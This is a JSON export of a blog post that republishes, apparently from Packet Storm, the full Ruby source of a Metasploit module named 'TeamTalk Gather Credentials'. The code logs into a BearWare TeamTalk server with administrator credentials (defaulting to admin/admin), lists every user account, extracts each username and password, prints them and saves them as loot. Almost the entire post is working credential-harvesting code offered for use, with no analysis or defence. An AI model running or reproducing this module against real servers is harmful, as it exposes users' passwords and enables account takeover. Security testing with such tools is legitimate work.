{"id":59304,"date":"2024-08-31T23:40:54","date_gmt":"2024-08-31T20:40:54","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/180696\/teamtalk_creds.rb.txt"},"modified":"2024-08-31T23:40:54","modified_gmt":"2024-08-31T20:40:54","slug":"teamtalk-gather-credentials","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/teamtalk-gather-credentials\/","title":{"rendered":"TeamTalk Gather Credentials"},"content":{"rendered":"<p>##<br \/># This module requires Metasploit: https:\/\/metasploit.com\/download<br \/># Current source: https:\/\/github.com\/rapid7\/metasploit-framework<br \/>##<\/p>\n<p>class MetasploitModule &lt; Msf::Auxiliary<br \/>include Msf::Exploit::Remote::Tcp<br \/>include Msf::Auxiliary::Report<\/p>\n<p>def initialize(info = {})<br \/>super(update_info(info,<br \/>&#8216;Name&#8217; =&gt; &#8216;TeamTalk Gather Credentials&#8217;,<br \/>&#8216;Description&#8217; =&gt; %q{<br \/>This module retrieves user credentials from BearWare TeamTalk.<\/p>\n<p>Valid administrator credentials are required.<\/p>\n<p>This module has been tested successfully on TeamTalk versions<br \/>5.2.2.4885 and 5.2.3.4893.<br \/>},<br \/>&#8216;Author&#8217; =&gt; &#8216;bcoles&#8217;,<br \/>&#8216;References&#8217; =&gt;<br \/>[<br \/># Protocol documentation<br \/>[&#8216;URL&#8217;, &#8216;https:\/\/github.com\/BearWare\/TeamTalk5\/blob\/master\/ttphpadmin\/tt5admin.php&#8217;]],<br \/>&#8216;License&#8217; =&gt; MSF_LICENSE))<br \/>register_options [<br \/>Opt::RPORT(10333),<br \/>OptString.new(&#8216;USERNAME&#8217;, [true, &#8216;The username for TeamTalk&#8217;, &#8216;admin&#8217;]),<br \/>OptString.new(&#8216;PASSWORD&#8217;, [true, &#8216;The password for the specified username&#8217;, &#8216;admin&#8217;])<br \/>]end<\/p>\n<p>def run<br \/>vprint_status &#8216;Connecting&#8230;&#8217;<\/p>\n<p>connect<br \/>banner = sock.get_once<\/p>\n<p>unless banner =~ \/^teamtalk\\s.*protocol=&#8221;([\\d\\.]+)&#8221;\/<br \/>fail_with Failure::BadConfig, &#8216;TeamTalk does not appear to be running&#8217;<br \/>end<\/p>\n<p>print_status &#8220;Found TeamTalk (protocol version #{$1})&#8221;<\/p>\n<p>report_service :host =&gt; rhost,<br \/>:port =&gt; rport,<br \/>:proto =&gt; &#8216;tcp&#8217;,<br \/>:name =&gt; &#8216;teamtalk&#8217;<\/p>\n<p>vprint_status &#8220;Authenticating as &#8216;#{username}'&#8221;<\/p>\n<p>req = &#8220;login username=\\&#8221;#{username.tr(&#8216;&#8221;&#8216;, &#8216;\\&#8221;&#8216;)}\\&#8221; password=\\&#8221;#{password.tr(&#8216;&#8221;&#8216;, &#8216;\\&#8221;&#8216;)}\\&#8221;&#8221;<br \/>res = send_command req<\/p>\n<p>unless res.to_s.starts_with? &#8216;accepted&#8217;<br \/>fail_with Failure::NoAccess, &#8216;Authentication failed&#8217;<br \/>end<\/p>\n<p>print_good &#8216;Authenticated successfully&#8217;<\/p>\n<p>if res =~ \/usertype=2\/<br \/>print_good &#8216;User is an administrator&#8217;<br \/>else<br \/>print_warning &#8216;User is not an administrator&#8217;<br \/>end<\/p>\n<p>vprint_status &#8220;Retrieving users&#8230;&#8221;<\/p>\n<p>res = send_command &#8216;listaccounts&#8217;<\/p>\n<p>if res =~ \/^error\/ &amp;&amp; res =~ \/message=&#8221;Command not authorized&#8221;\/<br \/>print_error &#8216;Insufficient privileges&#8217;<br \/>return<br \/>end<\/p>\n<p>unless res =~ \/^ok\\r?\\n?\\z\/<br \/>print_error &#8216;Unexpected reply&#8217;<br \/>return<br \/>end<\/p>\n<p>cred_table = Rex::Text::Table.new &#8216;Header&#8217; =&gt; &#8216;TeamTalk User Credentials&#8217;,<br \/>&#8216;Indent&#8217; =&gt; 1,<br \/>&#8216;Columns&#8217; =&gt; [&#8216;Username&#8217;, &#8216;Password&#8217;, &#8216;Type&#8217;]\n<p>res.each_line do |line|<br \/>line.chomp!<br \/>next unless line =~ \/^useraccount\/<\/p>\n<p>user = line.scan(\/\\s+username=&#8221;(.*?)&#8221;\\s+password=\/).flatten.first.to_s.gsub(&#8216;\\&#8221;&#8216;, &#8216;&#8221;&#8216;)<br \/>pass = line.scan(\/\\s+password=&#8221;(.*?)&#8221;\\s+usertype=\/).flatten.first.to_s.gsub(&#8216;\\&#8221;&#8216;, &#8216;&#8221;&#8216;)<br \/>type = line.scan(\/\\s+usertype=(\\d+)\\s+\/).flatten.first<\/p>\n<p>cred_table &lt;&lt; [ user, pass, type ]report_cred user: user,<br \/>password: pass,<br \/>type: type,<br \/>proof: line<br \/>end<\/p>\n<p>if cred_table.rows.empty?<br \/>print_error &#8216;Did not find any users&#8217;<br \/>return<br \/>end<\/p>\n<p>print_status &#8220;Found #{cred_table.rows.size} users&#8221;<br \/>print_line<br \/>print_line cred_table.to_s<\/p>\n<p>p = store_loot &#8216;teamtalk.user.creds&#8217;,<br \/>&#8216;text\/csv&#8217;,<br \/>rhost,<br \/>cred_table.to_csv,<br \/>&#8216;TeamTalk User Credentials&#8217;<\/p>\n<p>print_good &#8220;Credentials saved in: #{p}&#8221;<br \/>rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout =&gt; e<br \/>print_error e.message<br \/>ensure<br \/>disconnect<br \/>end<\/p>\n<p>private<\/p>\n<p>def username<br \/>datastore[&#8216;USERNAME&#8217;] || &#8221;<br \/>end<\/p>\n<p>def password<br \/>datastore[&#8216;PASSWORD&#8217;] || &#8221;<br \/>end<\/p>\n<p>def report_cred(opts)<br \/>service_data = {<br \/>address: rhost,<br \/>port: rport,<br \/>service_name: &#8216;teamtalk&#8217;,<br \/>protocol: &#8216;tcp&#8217;,<br \/>workspace_id: myworkspace_id<br \/>}<\/p>\n<p>credential_data = {<br \/>origin_type: :service,<br \/>module_fullname: fullname,<br \/>username: opts[:user],<br \/>private_data: opts[:password],<br \/>private_type: :password<br \/>}.merge service_data<\/p>\n<p>login_data = {<br \/>core: create_credential(credential_data),<br \/>status: Metasploit::Model::Login::Status::UNTRIED,<br \/>access_level: opts[:type],<br \/>proof: opts[:proof]}.merge service_data<\/p>\n<p>create_credential_login login_data<br \/>end<\/p>\n<p>def send_command(cmd = &#8221;)<br \/>cmd_id = rand(1000)<br \/>sock.put &#8220;#{cmd} id=#{cmd_id}\\n&#8221;<\/p>\n<p>res = &#8221;<br \/>timeout = 15<br \/>Timeout.timeout(timeout) do<br \/>res &lt;&lt; sock.get_once until res =~ \/^end id=#{cmd_id}\/<br \/>end<\/p>\n<p>res.to_s.scan(\/begin id=#{cmd_id}\\r?\\n(.*)\\r?\\nend id=#{cmd_id}\/m).flatten.first<br \/>rescue Timeout::Error<br \/>print_error &#8220;Timeout (#{timeout} seconds)&#8221;<br \/>rescue =&gt; e<br \/>print_error e.message<br \/>end<br \/>end<\/p>\n","protected":false},"excerpt":{"rendered":"<p>### This module requires Metasploit: https:\/\/metasploit.com\/download# Current source: https:\/\/github.com\/rapid7\/metasploit-framework## class MetasploitModule &lt; Msf::Auxiliaryinclude Msf::Exploit::Remote::Tcpinclude Msf::Auxiliary::Report def initialize(info = {})super(update_info(info,&#8216;Name&#8217; =&gt; &#8216;TeamTalk Gather Credentials&#8217;,&#8216;Description&#8217; =&gt; %q{This module retrieves user credentials from BearWare TeamTalk. Valid administrator credentials are required. This module has been tested successfully on TeamTalk versions5.2.2.4885 and 5.2.3.4893.},&#8216;Author&#8217; =&gt; &#8216;bcoles&#8217;,&#8216;References&#8217; =&gt;[# Protocol documentation[&#8216;URL&#8217;, &#8216;https:\/\/github.com\/BearWare\/TeamTalk5\/blob\/master\/ttphpadmin\/tt5admin.php&#8217;]],&#8216;License&#8217; =&gt; &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-59304","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59304","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=59304"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59304\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=59304"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=59304"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=59304"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}